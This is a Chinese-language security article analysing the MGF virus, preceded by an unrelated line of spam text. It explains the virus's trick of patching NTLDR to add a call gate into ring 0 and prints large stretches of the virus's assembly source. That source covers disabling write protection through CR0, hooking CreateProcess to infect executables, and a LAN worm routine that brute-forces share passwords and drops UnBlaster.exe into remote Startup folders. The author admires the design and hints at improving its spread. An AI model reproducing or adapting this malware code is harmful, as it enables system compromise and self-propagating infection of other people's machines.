自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

利用NTLDR進(jìn)入RING0的方法及MGF病毒技術(shù)分析

安全 數(shù)據(jù)安全
以前看了莫國防病毒的源代碼。摸到了一個(gè)進(jìn)入RING0的方法。今天又在EST論壇看到了代碼,隨手寫一個(gè)筆記吧。其實(shí)wowocock已經(jīng)提及過這個(gè)了。

以前看了莫國防病毒的源代碼。摸到了一個(gè)進(jìn)入RING0的方法。今天又在EST論壇看到了代碼,隨手寫一個(gè)筆記吧。其實(shí)wowocock已經(jīng)提及過這個(gè)了。我就在簡單的說說,各位就別拍我了。筆記而已。。。主要要說的就是病毒進(jìn)入RING0的方法,雖然現(xiàn)在說起來MGF病毒進(jìn)入RING0的方法,已經(jīng)算老技術(shù)了,但是還是有必要了解它。病毒的其他方面也簡單的描述一下,有很多巧妙之處,可以說是個(gè)“好”病毒。另外在說一下,我沒有具體的去跟蹤調(diào)試這個(gè)病毒

先說說進(jìn)入RING0吧。

現(xiàn)在進(jìn)入ring0的方法已經(jīng)又不少了,例如sinister提出的利用驅(qū)動(dòng)程序進(jìn)入RING0的方法,還有WebCrazy提出的用讀寫物理內(nèi)存的方法來讀寫GDT所在的物理內(nèi)存,在GDT上生成自己的調(diào)用門來進(jìn)入ring0,還有EVA提出的方法。還可以參考 http://www.eviloctal.com/forum/read.php?tid=10933&fpage=1 (wowocock寫的總結(jié),包括利用結(jié)構(gòu)化異常處理以及利用中斷門的方法進(jìn)入RING0)。我所要說的是莫國防病毒所采用的方法,就是在NTLDR中搜尋GDT并找個(gè)空閑的地方添加CALLGATE。

上面我門說了,莫國防病毒采用的方法是在NTLDR中搜索GDT域的空閑區(qū),創(chuàng)建調(diào)用門。NTLDR就是系統(tǒng)的引導(dǎo)過程中的重要角色,主要任務(wù)就是將x86 實(shí)模式轉(zhuǎn)到win2k的保護(hù)模式下,還有裝載Ntbootdd.sys文件等工作(WIN2K具體引導(dǎo)過程請(qǐng)參見《Windows2000引導(dǎo)過程》).而其中也包括了裝載GDT(全局描述符表)(裝載GDT是在由實(shí)模式切換到保護(hù)模式之前的準(zhǔn)備工作中就完成的)。也就是說,如果我們創(chuàng)建一個(gè)調(diào)用門,那么系統(tǒng)啟動(dòng)的時(shí)候就會(huì)將調(diào)用門裝載。然后我們就可以利用這個(gè)CALLGATE來進(jìn)入RING0了。

有人問過,用什么來確認(rèn)NTLDR中包含有這個(gè)過程?關(guān)于這個(gè)問題,可以根據(jù)tombkeeper寫的<用Bochs調(diào)試NTLDR>,調(diào)試NTLDR,來監(jiān)視NTLDR在切換到保護(hù)模式的時(shí)候所做的一切。

下面我們來看看MGF病毒修改NTLDR添加CALLGATE的那段代碼:

_dwFlag-----bit 0:0=ntldr, 1=PE;bit 1:0=mem, 1=file;
bit 2:0=auto(ansi/unicode), 1=ansi
……………………
.else;_dwFlag ;如果是NTLDR文件,寫入CALLGATE
lea esi,szGdtData[ebx]
mov edi,@lpFileMap
mov ecx,@dwFileSize
@@:
inc edi
push esi
push edi
push ecx
mov ecx,10h
repz cmpsb
pop ecx
pop edi
pop esi
loopnz @b

在NTLDR中以16個(gè)字節(jié)為單位搜索RING0,CS,DS找到后EDI指向該數(shù)據(jù)的最后一個(gè)字節(jié):說白了就是搜索GDT的特征。

.if ZERO? 
xor eax,eax
mov ecx,80h
@@:
sub edi,8
push edi
push ecx
mov ecx,8
repz scasb
pop ecx
pop edi
loopnz @b

在向前的80H的范圍內(nèi)搜索NULL SELECTOR(8個(gè)0),其實(shí)沒有必要,因?yàn)檎业降腟ZGDTDATA前面就是了,所以最后EDI就指向NULL SELECTOR

.if ZERO? 
add edi,100h
lea esi,szCallGate[ebx]
mov ecx,10h
rep movsb

在偏移100H處寫入CALLGATE和自己的RING0,CS,這里有必要用自己RING0 CS,因?yàn)槿绻孟到y(tǒng)的,SELECTOR雖然也可以,但在直接IO的時(shí)候有可能會(huì)出現(xiàn)0XE的頁故障,也就是說如果加入破壞代碼直接讀寫硬盤扇區(qū),可能會(huì)出錯(cuò)。

mov edx,dwC3Address[ebx] 
mov word ptr [edi-16],dx
shr edx,16
mov word ptr [edi-10],dx

使調(diào)用門指向ret的地址
.endif

.endif

dwC3Address是kernel32.dll中的地址,有人問為什么不用NTDLL.DLL中的呢?

kernel32.dll這個(gè)模塊是所有程序默認(rèn)加載的,而NTDLL.dll則不一樣。dwC3Address是kernel32.dll中的指令ret地址。所以這個(gè)方法非常巧妙。

有些人問,為什么不用系統(tǒng)選擇子08h所對(duì)應(yīng)的描述符?

因?yàn)槿绻僮飨到y(tǒng)檢測(cè)到描述符對(duì)應(yīng)的代碼和數(shù)據(jù)的地址都在0x80000000H以下運(yùn)行的話,就會(huì)被認(rèn)為是非法進(jìn)入RING0,然后產(chǎn)生錯(cuò)誤。所以我們要?jiǎng)?chuàng)建自己的描述符來保證不會(huì)出現(xiàn)這樣的錯(cuò)誤。

在WIN98下進(jìn)入RING0用和CIH一樣的技術(shù),直接往GDT添加CALLGATE。這里就不說了。另外在2K下在修改NTLDT后需要重起才會(huì)生效。

下面來說說MGF病毒的其他部分。

來看看在RING0中,寫KERNEL32和USER32的部分。

;RING0
mov eax,esp
mov esp,[esp+4] ;切換堆棧 switch to ring3 esp
push eax ;save ring0 esp

mov eax,cr0
push eax ;CR0
btr eax,16
mov cr0,eax ;去掉kernel32模塊只讀內(nèi)存頁的寫保護(hù)
mov eax,lpOldPE[ebx]
mov edx,dwOldEntry[ebx]
mov [eax+28h],edx
mov edx,dwOldImage[ebx]
mov [eax+50h],edx ;恢復(fù)進(jìn)程的入口和映像大小,避過某些程序的自我保護(hù)
mov edi,hKernel32[ebx]
add edi,[edi+3ch]
mov edi,[edi+54h]
add edi,hKernel32[ebx]
mov lpMemPosition1[ebx],edi
lea esi,VirusStart[ebx]
mov ecx,10h
repz cmpsb ;判斷病毒是否已經(jīng)在內(nèi)存
.if !ZERO? ;not in mem
.if dwVersion[ebx] ;不在內(nèi)存 and win9x
push 0fh
push 0
push -1
push 0
push 0
push 0
push 1
push 1
@@:
int 20h ;vxd->_PageAllocate
dd 00010053h
add esp,8*4
lea edi,@b[ebx]
mov word ptr [edi],20cdh
mov dword ptr [edi+2],00010053h
.else
mov eax,hUser32[ebx]
add eax,[eax+3ch]
mov eax,[eax+54h]
add eax,hUser32[ebx] ;2000/XP/2003---》EAX=user32.dll模塊的空隙
.endif
mov lpMemPosition2[ebx],eax
mov edi,lpMemPosition1[ebx]
add edi,offset _BeforeAPI-offset VirusStart
mov dword ptr [ebx+szNewCommand+1],edi ;
構(gòu)造跳轉(zhuǎn)入CreateProcess攔截函數(shù)的指令,
把HOOK CREATEPROCESS的指令地址放到第一段代碼的后面
mov esi,dwCreateProcess[ebx]
push esi
lea edi,szOldCommand[ebx]
mov ecx,6
rep movsb ;保存原來CreateProcess函數(shù)的前6字節(jié)
lea esi,szNewCommand[ebx]
pop edi
mov ecx,6
rep movsb ;把CreateProcess函數(shù)的第一條指令改為跳入攔截函數(shù)的指令
lea esi,VirusStart[ebx]
mov edi,lpMemPosition1[ebx]
mov ecx,VirusSizeP1
rep movsb ;病毒前3K駐留在kernel32模塊
mov edi,eax
mov ecx,VirusSizeP2
rep movsb ;病毒后2K駐留在user32模塊或vxd _PageAllocate分到的頁中
.endif
pop eax
mov cr0,eax ;恢復(fù)CR0
pop esp
lea eax,Ring3_1[ebx]
push eax
retf ;返回RING3
Ring3_1:
.endif

病毒在kernel32.dll和user32.dll中找空隙并駐留其中。這樣的話,任務(wù)管理器中就看不到病毒,更無法終止感染文件。

病毒還去除了kernel32的保護(hù)屬性。這個(gè)方法當(dāng)然很好。不過在退出的時(shí)候沒有恢復(fù),這樣就會(huì)出問題的。在NT/2k/xp系統(tǒng)中,DLL所在頁面被映射到進(jìn)程的私有空間(如 Kernel32.dll 映射至77ED0000)中,并具有寫時(shí)拷貝屬性(cow),也就是說沒有進(jìn)程試圖寫入該頁面時(shí),所有進(jìn)程共享這個(gè)頁面;而當(dāng)一個(gè)進(jìn)程試圖寫入該頁面時(shí),系統(tǒng)的頁面錯(cuò)誤處理代碼將收到處理器的異常,并檢查到該異常并非訪問違例,同時(shí)分配給引發(fā)異常的進(jìn)程一個(gè)新頁面,并拷貝原頁面內(nèi)容于其上且更新進(jìn)程的頁表以指向新分配的頁。這種共享內(nèi)存的優(yōu)化給病毒來了一定的麻煩,病毒不能象在WIN9X下那樣僅修改Kernel32.dll一處代碼便可一勞永逸。所以說如果在9X下,這樣做沒有問題。而在2K和XP下是不行的。這就是2K/XP的COW機(jī)制。當(dāng)然還有一種方法可以對(duì)付它,就是修改CR0的WP位,不過別忘了恢復(fù) :)。

因?yàn)椴《疽ㄎ籐oadLibraryA和GetProcAddress函數(shù)的地址。在這里病毒采用了攔截CreateProcess函數(shù)感染PE文件,也就很正常了。不過這樣的感染方法還是很罕見的,與一般的病毒有所不同。可以說是MGF首創(chuàng),如果以前有,就當(dāng)我孤陋寡聞,盡情的拍死我吧。

下面是病毒創(chuàng)建的的局域網(wǎng)的線程

_GoLAN proc lParam
local @hEnum
local @dwcCount
local @szResourceName[32]:byte
local @szBuffer[0c00h]:byte
ret
pushad
db 0e8h,0,0,0,0
pop ebx
sub ebx,$-1
lea eax,@hEnum
push eax
push 0
push 13h
push 0
push 5
call dwWNetOpenEnum[ebx]
.if !eax
.repeat
mov @dwcCount,-1
lea eax,dwBufferSize[ebx]
push eax
lea eax,@szBuffer
push eax
lea eax,@dwcCount
push eax
push @hEnum
call dwWNetEnumResource[ebx]
cmp dword ptr [@szBuffer+14h],0
jnz @f
.until eax
push @hEnum
call dwWNetCloseEnum[ebx]
.endif
jmp _GoLANexit
@@:
push @hEnum
call dwWNetCloseEnum[ebx]
lea edi,@szBuffer
_NextPC:
push edi
mov esi,[edi+14h]
lea edi,@szResourceName
@@:
lodsb
stosb
or al,al
jnz @b
mov dword ptr [edi-1],\'C\\\'
pop edi
xor eax,eax
mov dwPassword[ebx],eax
@@:
lea edx,szLocalDrive[ebx]
push edx
push eax
lea edx,@szResourceName
push edx
call dwWNetAddConnection[ebx]
.if eax==56h
call _GenPassWord
cmp dwPassword[ebx],0
jnz @b
.elseif !eax
push 0
lea eax,szDFile[ebx]
push eax
lea eax,szSFile[ebx]
push eax
call dwCopyFile[ebx] ;如果找到可寫共享,感染
mov esi,eax
push 1
lea eax,szLocalDrive[ebx]
push eax
call dwWNetCancelConnection[ebx]
call _GenPassWord
or esi,esi
jz @b
.endif
add edi,20h
dec @dwcCount
jnz _NextPC
_GoLANexit:
popad
ret
_GoLAN endp
szMemToFileName db \'UnBlaster.exe\',0
szSFile db \'c:\\windows\\system\\UnBlaster.exe\',0
szDFile db \'X:\\WINDOWS\\All Users\\Start Menu\\Programs\\
啟動(dòng)\\UnBlaster.exe\',0 ;
從這里可以看出,把病毒復(fù)制到遠(yuǎn)程主機(jī)的啟動(dòng)文件中。
dwPassword dd 0
dd 0,0
szPassword db 0
szLocalDrive db \'x:\',0
dwBufferSize dd 0c00h
_GenPassWord:;生成密碼的子程序,密碼包括1234567890!@#$%^字符
std
pushad
lea edi,[ebx+szPassword-1]
xor edx,edx
mov eax,dwPassword[ebx]
mov ecx,16
@@:
div ecx
xchg eax,edx
.if al<=5
add al,21h
.else ;if al>=6 && al<=15
add al,2ah
.endif
stosb
xor eax,eax
xchg eax,edx
or eax,eax
jnz @b
inc edi
inc dwPassword[ebx]
mov [esp+20h-4],edi
popad
cld
ret
病毒在局域網(wǎng)傳播方面就是靠破解遠(yuǎn)程主機(jī)共享密碼(密碼由病毒生成),把病毒復(fù)制到目標(biāo)機(jī)器的啟動(dòng)文件夾中。當(dāng)目標(biāo)重起后病毒開始感染。我想如果在優(yōu)化一下傳播方式的話……

 

責(zé)任編輯:佚名 來源: 20.cn
相關(guān)推薦

2012-12-27 11:10:12

2010-09-07 13:33:44

云安全技術(shù)

2013-03-22 10:00:14

2017-08-24 11:00:56

Linux用戶空間內(nèi)核空間

2009-11-18 16:37:20

2013-05-28 14:47:04

2015-08-14 14:05:54

宏病毒VBA宏病毒

2020-09-03 16:50:17

物聯(lián)網(wǎng)技術(shù)冠狀病毒物聯(lián)網(wǎng)

2017-07-11 08:25:07

大數(shù)據(jù)商業(yè)模式0模式

2013-12-11 09:51:33

2016-09-29 14:37:39

ImageMagick漏洞分析

2009-10-28 10:22:48

2011-04-29 10:21:57

筆記本電池

2017-12-11 17:10:24

2012-07-16 10:09:10

2015-07-14 10:53:19

Hacking Tea0Day漏洞

2019-02-26 15:15:16

DNS漏洞IP

2019-04-02 08:30:03

2023-03-09 08:30:34

2020-04-15 21:55:00

物聯(lián)網(wǎng)病毒IOT
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)